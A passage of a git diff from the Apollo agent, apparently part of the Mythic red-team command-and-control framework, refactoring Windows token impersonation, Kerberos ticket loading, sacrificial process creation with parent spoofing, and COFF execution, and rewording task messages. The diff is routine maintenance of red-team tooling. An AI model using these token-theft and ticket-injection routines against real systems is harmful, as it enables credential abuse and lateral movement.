- DebugHelp.DebugWriteLine($"Current Logon Session LUID: {GetCurrentLuid()}");
+ tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
+ if (WindowsAPI.GetTokenInformationDelegate(token, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength))
+ {
+ createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation"));
+ TOKEN_STATISTICS tokenStats = tokenInfo.CastTo();
+ DebugHelp.DebugWriteLine($"New Logon Session LUID: {tokenStats.AuthenticationId}");
+ DebugHelp.DebugWriteLine($"Current Logon Session LUID: {GetCurrentLuid()}");
+ }
+
return token;
}
catch (Exception e)
@@ -311,6 +332,13 @@ private static HANDLE CreateNewLogonSession()
DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}");
return new();
}
+ finally
+ {
+ if (!tokenInfo.IsNull)
+ {
+ Marshal.FreeHGlobal(tokenInfo.PtrLocation);
+ }
+ }
}
///
@@ -711,41 +739,60 @@ internal static (bool, string) UnloadTicket(string serviceName, string domainNam
internal static KerberosTicket? TryGetTicketDetailsFromKirbi(byte[] kirbiTicket)
{
KerberosTicket? ticket = null;
+ HANDLE newlogonHandle = new();
+ HANDLE tokenInfo = new();
+
try
{
- HANDLE newlogonHandle = CreateNewLogonSession();
+ newlogonHandle = CreateNewLogonSession();
if (newlogonHandle.IsNull)
{
DebugHelp.DebugWriteLine("Failed to create new logon session");
DebugHelp.DebugWriteLine($"{Marshal.GetLastWin32Error()}");
+ return ticket;
}
- else
+
+ ImpersonationScope.Run(new WindowsIdentity((IntPtr)newlogonHandle), () =>
{
- WindowsAPI.ImpersonateLoggedOnUserDelegate(newlogonHandle);
- createdArtifacts.Add(Artifact.WindowsAPIInvoke("ImpersonateLoggedOnUser"));
- //passing new luid here is fine because we have switched to the new logon session
int tokenInfoSize = Marshal.SizeOf();
- HANDLE tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
- WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength);
+ tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize);
+ if (!WindowsAPI.GetTokenInformationDelegate(newlogonHandle, Win32.TokenInformationClass.TokenStatistics, tokenInfo, tokenInfoSize, out int returnLength))
+ {
+ DebugHelp.DebugWriteLine("Failed to query token information for new logon handle");
+ return;
+ }
+
createdArtifacts.Add(Artifact.WindowsAPIInvoke("GetTokenInformation"));
TOKEN_STATISTICS tokenStats = tokenInfo.CastTo();
LoadTicket(kirbiTicket, tokenStats.AuthenticationId);
- ticket = TriageTickets(getSystemTickets:true, targetLuid:$"{tokenStats.AuthenticationId}").FirstOrDefault();
- if(ticket != null)
+ ticket = TriageTickets(getSystemTickets: true, targetLuid: $"{tokenStats.AuthenticationId}").FirstOrDefault();
+ if (ticket != null)
{
ticket.Kirbi = kirbiTicket;
DebugHelp.DebugWriteLine($"Converted base64 ticket to KerberosTicket: {ticket.ToString().ToIndentedString()}");
- } else
+ }
+ else
{
- DebugHelp.DebugWriteLine($"Failed to triage any tickets");
+ DebugHelp.DebugWriteLine("Failed to triage any tickets");
}
- }
+ });
}
catch (Exception e)
{
DebugHelp.DebugWriteLine($"Error converting base64 ticket to KerberosTicket: {e.Message} \n stack trace: {e}");
}
+ finally
+ {
+ if (!tokenInfo.IsNull)
+ {
+ Marshal.FreeHGlobal(tokenInfo.PtrLocation);
+ }
+ if (!newlogonHandle.IsNull)
+ {
+ WindowsAPI.CloseHandleDelegate(newlogonHandle);
+ }
+ }
+
return ticket;
}
-
-}
\ No newline at end of file
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs
index d638628e..45e398e9 100644
--- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs
+++ b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs
@@ -1,4 +1,4 @@
-using ApolloInterop.Classes.Api;
+using ApolloInterop.Classes.Api;
using ApolloInterop.Features.WindowsTypesAndAPIs;
using static KerberosTickets.KerberosTicketManager;
@@ -8,29 +8,28 @@ public static class WindowsAPI
{
public static Secur32APIs.LsaConnectUntrusted LsaConnectUntrustedDelegate { get; private set; }
public static Secur32APIs.LsaLookupAuthenticationPackage LsaLookupAuthenticationPackageDelegate { get; private set; }
-
+
public static Secur32APIs.LsaCallAuthenticationPackage LsaCallAuthenticationPackageDelegate { get; private set; }
public static Secur32APIs.LsaEnumerateLogonSessions LsaEnumerateLogonSessionsDelegate { get; private set; }
public static Secur32APIs.LsaFreeReturnBuffer LsaFreeReturnBufferDelegate { get; private set; }
public static Secur32APIs.LsaRegisterLogonProcess LsaRegisterLogonProcessDelegate { get; private set; }
public static Secur32APIs.LsaDeregisterLogonProcess LsaDeregisterLogonProcessDelegate { get; private set; }
-
+
public static Secur32APIs.LsaGetLogonSessionData LsaGetLogonSessionDataDelegate { get; private set; }
- public static Advapi32APIs.GetTokenInformation GetTokenInformationDelegate { get; private set; }
+ public static Advapi32APIs.GetTokenInformation GetTokenInformationDelegate { get; private set; }
public static NtdllAPIs.RtlMoveMemory RtlMoveMemoryDelegate { get; private set; }
public static Advapi32APIs.LsaNtStatusToWinError LsaNtStatusToWinErrorDelegate { get; private set; }
-
+
public static Kernel32APIs.OpenProcess OpenProcessDelegate { get; private set; }
public static Advapi32APIs.OpenProcessToken OpenProcessTokenDelegate { get; private set; }
public static Kernel32APIs.CloseHandle CloseHandleDelegate { get; private set; }
public static Advapi32APIs.ImpersonateLoggedOnUser ImpersonateLoggedOnUserDelegate { get; private set; }
-
+
public static Secur32APIs.LsaLogonUser LsaLogonUserDelegate { get; private set; }
public static Advapi32APIs.AllocateLocallyUniqueId AllocateLocallyUniqueIdDelegate { get; private set; }
public static Advapi32APIs.LogonUserA LogonUserADelegate { get; private set; }
-
-
-
+ public static Advapi32APIs.LogonUserW LogonUserWDelegate { get; private set; }
+
public static void Initialize()
{
LsaConnectUntrustedDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaConnectUntrusted");
@@ -51,6 +50,6 @@ public static void Initialize()
LsaLogonUserDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaLogonUser");
AllocateLocallyUniqueIdDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "AllocateLocallyUniqueId");
LogonUserADelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserA");
+ LogonUserWDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW");
}
-
-}
\ No newline at end of file
+}
diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs
index 536f632f..26f899d3 100644
--- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs
@@ -1,7 +1,8 @@
-//#define SERVER2012_COMPATIBLE
+//#define SERVER2012_COMPATIBLE
using ApolloInterop.Classes.Api;
using ApolloInterop.Classes.Events;
+using ApolloInterop.Classes.Impersonation;
using ApolloInterop.Interfaces;
using ApolloInterop.Structs.ApolloStructs;
using Microsoft.Win32.SafeHandles;
@@ -58,9 +59,9 @@ public enum LogonFlags
#region Delegate Typedefs
#region ADVAPI32
private delegate bool LogonUser(
- String lpszUserName,
- String lpszDomain,
- String lpszPassword,
+ [MarshalAs(UnmanagedType.LPWStr)] String lpszUserName,
+ [MarshalAs(UnmanagedType.LPWStr)] String lpszDomain,
+ [MarshalAs(UnmanagedType.LPWStr)] String lpszPassword,
LogonType dwLogonType,
LogonProvider dwLogonProvider,
out IntPtr phToken);
@@ -69,14 +70,14 @@ private delegate bool LogonUser(
private delegate bool CreateProcessAsUser
(
IntPtr hToken,
- String lpApplicationName,
- String lpCommandLine,
+ [MarshalAs(UnmanagedType.LPWStr)] String lpApplicationName,
+ [MarshalAs(UnmanagedType.LPWStr)] String lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
Boolean bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
- String lpCurrentDirectory,
+ [MarshalAs(UnmanagedType.LPWStr)] String lpCurrentDirectory,
ref StartupInfoEx lpStartupInfo,
out Win32.ProcessInformation lpProcessInformation
);
@@ -105,8 +106,8 @@ private delegate bool CreateProcessWithTokenW(
#endregion
#region KERNEL32
#if SERVER2012_COMPATIBLE
- private delegate IntPtr GetModuleHandleA(
- [MarshalAs(UnmanagedType.LPStr)]string lpModuleName);
+ private delegate IntPtr GetModuleHandleW(
+ [MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
private delegate IntPtr GetProcAddress(
IntPtr hModule,
@@ -146,15 +147,15 @@ private delegate bool DuplicateHandle(
bool bInheritHandle,
DuplicateOptions dwOptions
);
- private delegate bool CreateProcessA(
- string lpApplicationName,
- string lpCommandLine,
+ private delegate bool CreateProcessW(
+ [MarshalAs(UnmanagedType.LPWStr)] string lpApplicationName,
+ [MarshalAs(UnmanagedType.LPWStr)] string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
CreateProcessFlags dwCreationFlags,
IntPtr lpEnvironment,
- string lpCurrentDirectory,
+ [MarshalAs(UnmanagedType.LPWStr)] string lpCurrentDirectory,
ref StartupInfoEx lpStartupInfo,
out Win32.ProcessInformation lpProcessInformation);
private delegate UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilli);
@@ -169,7 +170,7 @@ private delegate bool GetExitCodeProcess(
private delegate bool DestroyEnvironmentBlock(IntPtr lpEnvironment);
#endregion
#if SERVER2012_COMPATIBLE
- private GetModuleHandleA _pGetModuleHandleA;
+ private GetModuleHandleW _pGetModuleHandleW;
private GetProcAddress _pGetProcAddress;
#endif
private CreateProcessAsUser _pCreateProcessAsUser;
@@ -185,13 +186,12 @@ private delegate bool GetExitCodeProcess(
private DuplicateHandle _pDuplicateHandle;
private CreateEnvironmentBlock _pCreateEnvironmentBlock;
private DestroyEnvironmentBlock _pDestroyEnvironmentBlock;
- private CreateProcessA _pCreateProcessA;
+ private CreateProcessW _pCreateProcessW;
private WaitForSingleObject _pWaitForSingleObject;
private GetExitCodeProcess _pGetExitCodeProcess;
private LogonUser _pLogonUser;
private CreateProcessWithLogonW _pCreateProcessWithLogonW;
private CreateProcessWithTokenW _pCreateProcessWithTokenW;
- public Advapi32APIs.ImpersonateLoggedOnUser ImpersonateLoggedOnUserDelegate { get; private set; }
public Advapi32APIs.OpenProcessToken OpenProcessTokenDelegate { get; private set; }
#endregion
@@ -204,16 +204,15 @@ public SacrificialProcess(
_pInitializeSecurityDescriptor = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "InitializeSecurityDescriptor");
_pSetSecurityDescriptorDacl = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "SetSecurityDescriptorDacl");
_pLogonUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW");
- _pCreateProcessAsUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessAsUserA");
+ _pCreateProcessAsUser = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessAsUserW");
_pCreateProcessWithLogonW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithLogonW");
_pCreateProcessWithTokenW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithTokenW");
- ImpersonateLoggedOnUserDelegate = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "ImpersonateLoggedOnUser");
#if SERVER2012_COMPATIBLE
- _pGetModuleHandleA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetModuleHandleA");
+ _pGetModuleHandleW = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetModuleHandleW");
_pGetProcAddress = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetProcAddress");
- IntPtr hKernel32 = _pGetModuleHandleA("kernel32.dll");
+ IntPtr hKernel32 = _pGetModuleHandleW("kernel32.dll");
IntPtr pInitializeProcThreadAttributeList =
_pGetProcAddress(hKernel32, "InitializeProcThreadAttributeList");
IntPtr pSetHandleInfo = _pGetProcAddress(hKernel32, "SetHandleInformation");
@@ -239,7 +238,7 @@ public SacrificialProcess(
_pDeleteProcThreadAttributeList = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "DeleteProcThreadAttributeList");
#endif
- _pCreateProcessA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreateProcessA");
+ _pCreateProcessW = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreateProcessW");
_pCreatePipe = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreatePipe");
_pOpenProcess = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "OpenProcess");
OpenProcessTokenDelegate = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken");
@@ -380,9 +379,8 @@ bool InitializeStartupEnvironment(IntPtr hToken)
try
{
DebugHelp.DebugWriteLine("Failed to duplicate handles. Attempting to duplicate without impersonation.");
- var currentIdentity = new WindowsIdentity(_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token);
- var currentImpersonation = new WindowsIdentity(_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token);
- using (_agent.GetIdentityManager().GetOriginal().Impersonate())
+ var originalIdentity = _agent.GetIdentityManager().GetOriginal();
+ ImpersonationScope.Run(originalIdentity, () =>
{
var currentProcHandle = System.Diagnostics.Process.GetCurrentProcess().Handle;
DebugHelp.DebugWriteLine($"Reverted to: {WindowsIdentity.GetCurrent().Name}");
@@ -390,10 +388,7 @@ bool InitializeStartupEnvironment(IntPtr hToken)
DebugHelp.DebugWriteLine($"Duplicated StdOut handle: {bRet}");
bRet = _pDuplicateHandle(currentProcHandle, hWriteErr, _hParentProc, ref hDupWriteErr, 0, true, DuplicateOptions.DuplicateCloseSource | DuplicateOptions.DuplicateSameAccess);
DebugHelp.DebugWriteLine($"Duplicated StdErr handle: {bRet}");
- }
- DebugHelp.DebugWriteLine("restoring previous impersonation");
- _agent.GetIdentityManager().SetImpersonationIdentity(currentImpersonation.Token);
- _agent.GetIdentityManager().SetPrimaryIdentity(currentIdentity.Token);
+ });
}
catch (Exception ex2)
{
@@ -469,8 +464,10 @@ private ApplicationStartupInfo GetSafeStartupArgs()
if (_hParentProc == IntPtr.Zero)
{
- using (_agent.GetIdentityManager().GetOriginal().Impersonate())
+ ImpersonationScope.Run(_agent.GetIdentityManager().GetOriginal(), () =>
+ {
_hParentProc = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, evasionArgs.ParentProcessId);
+ });
}
return evasionArgs;
@@ -535,7 +532,7 @@ public override bool Start()
bRet = InitializeStartupEnvironment(_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token);
if (bRet)
{
- bRet = _pCreateProcessA(
+ bRet = _pCreateProcessW(
null,
CommandLine,
IntPtr.Zero,
@@ -752,10 +749,10 @@ public override bool StartWithCredentials(IntPtr hToken)
DebugHelp.DebugWriteLine($"calling InitializeStartupEnvironment");
if (_agent.GetIdentityManager().GetOriginal().Name != _agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name)
{
- using (_agent.GetIdentityManager().GetOriginal().Impersonate())
+ ImpersonationScope.Run(_agent.GetIdentityManager().GetOriginal(), () =>
{
bRet = InitializeStartupEnvironment(hToken);
- }
+ });
}
else
{
@@ -843,32 +840,46 @@ out _processInfo
DebugHelp.DebugWriteLine($"LUID prior to impersonation: {_agent.GetTicketManager().GetCurrentLuid()}");
//get into the context of the newly created process prior to loading tickets
IntPtr targetProcessHandle = _pOpenProcess(ProcessAccessFlags.MAXIMUM_ALLOWED, false, (int)PID);
- if (targetProcessHandle == IntPtr.Zero)
- {
- DebugHelp.DebugWriteLine("Failed to open process handle");
- }
- bool OpenedTargetToken = OpenProcessTokenDelegate((APIInteropTypes.HANDLE)targetProcessHandle, TokenAccessLevels.Query | TokenAccessLevels.Duplicate, out APIInteropTypes.HANDLE targetProcessTokenHandle);
- if (OpenedTargetToken is false)
- {
- DebugHelp.DebugWriteLine("Failed to open process token handle");
- DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error());
- }
- if (targetProcessTokenHandle.IsNull)
- {
- DebugHelp.DebugWriteLine("opened token but handle is null");
- DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error());
- }
- if (ImpersonateLoggedOnUserDelegate(targetProcessTokenHandle) is false)
+ APIInteropTypes.HANDLE targetProcessTokenHandle = APIInteropTypes.HANDLE.Null;
+ try
{
- DebugHelp.DebugWriteLine("Failed to impersonate logged on user");
+ if (targetProcessHandle == IntPtr.Zero)
+ {
+ DebugHelp.DebugWriteLine("Failed to open process handle");
+ }
+ else if (!OpenProcessTokenDelegate((APIInteropTypes.HANDLE)targetProcessHandle, TokenAccessLevels.Query | TokenAccessLevels.Duplicate, out targetProcessTokenHandle))
+ {
+ DebugHelp.DebugWriteLine("Failed to open process token handle");
+ DebugHelp.DebugWriteLine("Error code: " + Marshal.GetLastWin32Error());
+ }
+ else if (targetProcessTokenHandle.IsNull)
+ {
+ DebugHelp.DebugWriteLine("Opened process token but handle is null");
+ }
+ else
+ {
+ ImpersonationScope.Run(new WindowsIdentity((IntPtr)targetProcessTokenHandle), () =>
+ {
+ DebugHelp.DebugWriteLine($"LUID post impersonation: {_agent.GetTicketManager().GetCurrentLuid()}");
+ var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore();
+ foreach (var ticket in storedTickets)
+ {
+ var ticketBytes = Convert.FromBase64String(ticket.base64Ticket);
+ _agent.GetTicketManager().LoadTicketIntoCache(ticketBytes, "");
+ }
+ });
+ }
}
- DebugHelp.DebugWriteLine($"LUID post impersonation: {_agent.GetTicketManager().GetCurrentLuid()}");
- //check the ticket manager and load the ticket into the process
- var storedTickets = _agent.GetTicketManager().GetTicketsFromTicketStore();
- foreach (var ticket in storedTickets)
+ finally
{
- var ticketBytes = Convert.FromBase64String(ticket.base64Ticket);
- _agent.GetTicketManager().LoadTicketIntoCache(ticketBytes, "");
+ if (!targetProcessTokenHandle.IsNull)
+ {
+ _pCloseHandle(targetProcessTokenHandle);
+ }
+ if (targetProcessHandle != IntPtr.Zero)
+ {
+ _pCloseHandle(targetProcessHandle);
+ }
}
//}
//start executing the process
diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs
index cb3ba38e..661a598a 100644
--- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs
@@ -1,4 +1,4 @@
-#define COMMAND_NAME_UPPER
+#define COMMAND_NAME_UPPER
#if DEBUG
#define EXECUTE_COFF
@@ -50,14 +50,6 @@ internal struct CoffParameters
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
public delegate IntPtr BeaconGetOutputDataDelegate([In, Out] ref int outsize);
- // Add imported SetThreadToken API for thread token manipulation
- [DllImport("advapi32.dll", SetLastError = true)]
- private static extern bool SetThreadToken(
- ref IntPtr ThreadHandle,
- IntPtr Token);
-
- [DllImport("kernel32.dll", SetLastError = true)]
- private static extern IntPtr GetCurrentThread();
private static RunCOFFDelegate? _RunCOFF;
private static UnhexlifyDelegate? _Unhexlify;
@@ -1015,111 +1007,19 @@ private static void ExecuteCOFFThreadFunc(object state)
try
{
DebugHelp.DebugWriteLine($"Starting COFF execution in thread {Thread.CurrentThread.ManagedThreadId}");
- WindowsImpersonationContext tokenApplied;
if (!agent.GetIdentityManager().IsOriginalIdentity())
{
- DebugHelp.DebugWriteLine("Applying impersonation token to COFF execution thread");
- try
+ WindowsIdentity impersonationIdentity = agent.GetIdentityManager().GetCurrentImpersonationIdentity();
+ DebugHelp.DebugWriteLine($"Applying impersonation identity {impersonationIdentity.Name} to COFF execution thread");
+ ApolloInterop.Classes.Impersonation.ImpersonationScope.Run(impersonationIdentity, () =>
{
- // Impersonate the current identity in this new thread
- tokenApplied = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Impersonate();
- DebugHelp.DebugWriteLine($"Successfully applied token for {agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name} to COFF thread");
- // Debug information about the current token
- WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent();
- DebugHelp.DebugWriteLine($"Thread identity after impersonation attempt: {currentThreadIdentity.Name}");
- //DebugHelp.DebugWriteLine($"Thread token type: {currentThreadIdentity.Token.ToInt64():X}");
- //DebugHelp.DebugWriteLine($"Is authenticated: {currentThreadIdentity.IsAuthenticated}");
- //DebugHelp.DebugWriteLine($"Authentication type: {currentThreadIdentity.AuthenticationType}");
-
- // List of groups/claims
- //DebugHelp.DebugWriteLine("Token groups/claims:");
- //foreach (var claim in currentThreadIdentity.Claims)
- //{
- // DebugHelp.DebugWriteLine($" - {claim.Type}: {claim.Value}");
- //}
-
- // Compare with expected identity
- string expectedName = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name;
- DebugHelp.DebugWriteLine($"Expected identity: {expectedName}");
- DebugHelp.DebugWriteLine($"Identity match: {expectedName == currentThreadIdentity.Name}");
-
- }
- catch (Exception ex)
- {
- DebugHelp.DebugWriteLine($"Error applying token to thread: {ex.Message}");
- // Fallback to using SetThreadToken API directly
- IntPtr threadHandle = GetCurrentThread();
- IntPtr tokenHandle = agent.GetIdentityManager().GetCurrentImpersonationIdentity().Token;
-
- bool result = SetThreadToken(ref threadHandle, tokenHandle);
- if (result)
- {
- DebugHelp.DebugWriteLine("Successfully applied token using SetThreadToken API");
- // Verify identity after SetThreadToken
- WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent();
- DebugHelp.DebugWriteLine($"Thread identity after SetThreadToken: {currentThreadIdentity.Name}");
- }
- else
- {
- int error = Marshal.GetLastWin32Error();
- DebugHelp.DebugWriteLine($"SetThreadToken failed with error: {error}");
- }
- }
+ ExecuteRunCoff(executionState);
+ });
}
else
{
DebugHelp.DebugWriteLine("Using original identity for COFF execution");
- try
- {
- WindowsIdentity currentThreadIdentity = WindowsIdentity.GetCurrent();
- DebugHelp.DebugWriteLine($"Thread identity (original): {currentThreadIdentity.Name}");
- }
- catch (Exception ex)
- {
- DebugHelp.DebugWriteLine($"Error getting current identity: {ex.Message}");
- }
- }
- // Execute the COFF
- executionState.Status = _RunCOFF(
- executionState.FunctionName,
- executionState.CoffData,
- executionState.FileSize,
- executionState.ArgumentData,
- executionState.ArgumentSize);
-
- DebugHelp.DebugWriteLine($"COFF execution completed with status: {executionState.Status}");
-
- // Get output data if execution was successful
- if (executionState.Status == 0)
- {
- int outdataSize = 0;
- IntPtr outdata = _BeaconGetOutputData(ref outdataSize);
-
- if (outdata != IntPtr.Zero && outdataSize > 0)
- {
- byte[] outDataBytes = new byte[outdataSize];
- Marshal.Copy(outdata, outDataBytes, 0, outdataSize);
- executionState.Output = Encoding.Default.GetString(outDataBytes);
- DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data");
- }
- else
- {
- executionState.Output = "No Output";
- DebugHelp.DebugWriteLine("No output data was returned from COFF execution");
- }
- }
- else
- {
- DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}");
- }
- try
- {
- DebugHelp.DebugWriteLine("Reverting impersonation in COFF thread");
- WindowsIdentity.Impersonate(IntPtr.Zero);
- }
- catch (Exception ex)
- {
- DebugHelp.DebugWriteLine($"Error reverting impersonation: {ex.Message}");
+ ExecuteRunCoff(executionState);
}
}
@@ -1136,6 +1036,40 @@ private static void ExecuteCOFFThreadFunc(object state)
executionState.CompletionEvent.Set();
}
}
+ private static void ExecuteRunCoff(COFFExecutionState executionState)
+ {
+ executionState.Status = _RunCOFF(
+ executionState.FunctionName,
+ executionState.CoffData,
+ executionState.FileSize,
+ executionState.ArgumentData,
+ executionState.ArgumentSize);
+
+ DebugHelp.DebugWriteLine($"COFF execution completed with status: {executionState.Status}");
+
+ if (executionState.Status == 0)
+ {
+ int outdataSize = 0;
+ IntPtr outdata = _BeaconGetOutputData(ref outdataSize);
+
+ if (outdata != IntPtr.Zero && outdataSize > 0)
+ {
+ byte[] outDataBytes = new byte[outdataSize];
+ Marshal.Copy(outdata, outDataBytes, 0, outdataSize);
+ executionState.Output = Encoding.UTF8.GetString(outDataBytes);
+ DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data");
+ }
+ else
+ {
+ executionState.Output = "No Output";
+ DebugHelp.DebugWriteLine("No output data was returned from COFF execution");
+ }
+ }
+ else
+ {
+ DebugHelp.DebugWriteLine($"COFF execution failed with status: {executionState.Status}");
+ }
+ }
public override void Start()
{
MythicTaskResponse resp;
@@ -1279,4 +1213,4 @@ public override void Start()
}
}
}
-#endif
\ No newline at end of file
+#endif
diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs
index 2dce0387..4cc2d721 100644
--- a/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Tasks/make_token.cs
@@ -1,4 +1,4 @@
-#define COMMAND_NAME_UPPER
+#define COMMAND_NAME_UPPER
#if DEBUG
#define MAKE_TOKEN
@@ -84,7 +84,7 @@ public override void Start()
if (parameters.NetOnly)
{
resp = CreateTaskResponse(
- $"Successfully impersonated {cur.Name} for local access and {parameters.Credential.Realm}\\{parameters.Credential.Account} for remote access.\n{stringOutput}",
+ $"Successfully set Primary Identity to {cur.Name} for local access and Impersonation Identity to {parameters.Credential.Realm}\\{parameters.Credential.Account} for remote access.\n{stringOutput}",
true,
"completed",
new IMythicMessage[] {
@@ -95,7 +95,7 @@ public override void Start()
else
{
resp = CreateTaskResponse(
- $"Successfully impersonated {cur.Name} for local and remote access.\n{stringOutput}",
+ $"Successfully set Impersonation Identity to {cur.Name} for local and remote access.\n{stringOutput}",
true,
"completed",
new IMythicMessage[] {
diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs
index 9d0048e1..9967b360 100644
--- a/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Tasks/steal_token.cs
@@ -1,4 +1,4 @@
-#define COMMAND_NAME_UPPER
+#define COMMAND_NAME_UPPER
#if DEBUG
#define STEAL_TOKEN
@@ -122,7 +122,7 @@ public override void Start()
stringOutput += item.ToString() + "\n";
}
var integrityMessage = newIntegrity != oldIntegrity ? $" ( {newIntegrity} )" : "";
- resp = CreateTaskResponse($"Successfully impersonated {cur.Name}\n{stringOutput}", true, "", new IMythicMessage[] {
+ resp = CreateTaskResponse($"Successfully set Impersonation Identity to {cur.Name}\n{stringOutput}", true, "", new IMythicMessage[] {
new CallbackUpdate{ ImpersonationContext = $"{cur.Name}{integrityMessage}" , IntegrityLevel = ((int)newIntegrity) }
});
}
@@ -148,4 +148,4 @@ public override void Start()
}
}
}
-#endif
\ No newline at end of file
+#endif
diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs
index cf7be5b6..3660d3cb 100644
--- a/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs
+++ b/Payload_Type/apollo/apollo/agent_code/Tasks/whoami.cs
@@ -1,4 +1,4 @@
-#define COMMAND_NAME_UPPER
+#define COMMAND_NAME_UPPER
#if DEBUG
#define WHOAMI
@@ -25,13 +25,13 @@ public override void Start()
if (_agent.GetIdentityManager().GetCurrentLogonInformation(out var logonInfo))
{
resp = CreateTaskResponse(
- $"Local Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" +
+ $"Primary Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" +
$"Impersonation Identity: {logonInfo.Domain}\\{logonInfo.Username}", true);
}
else
{
resp = CreateTaskResponse(
- $"Local Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" +
+ $"Primary Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" +
$"Impersonation Identity: {_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name}", true);
}
// Your code here..
@@ -41,4 +41,4 @@ public override void Start()
}
}
-#endif
\ No newline at end of file
+#endif
diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js
index b4701e4b..00900642 100644
--- a/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js
+++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/get_injection_techniques.js
@@ -52,6 +52,6 @@ function(task, responses) {
};
} else {
// this means we shouldn't have any output
- return { "plaintext": "Not response yet from agent..." }
+ return { "plaintext": "No response yet from agent..." }
}
}
diff --git a/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js b/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js
index 27783fff..6775fe56 100644
--- a/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js
+++ b/Payload_Type/apollo/apollo/mythic/browser_scripts/jobs_new.js
@@ -52,6 +52,6 @@ function(task, responses){
}]};
}else{
// this means we shouldn't have any output
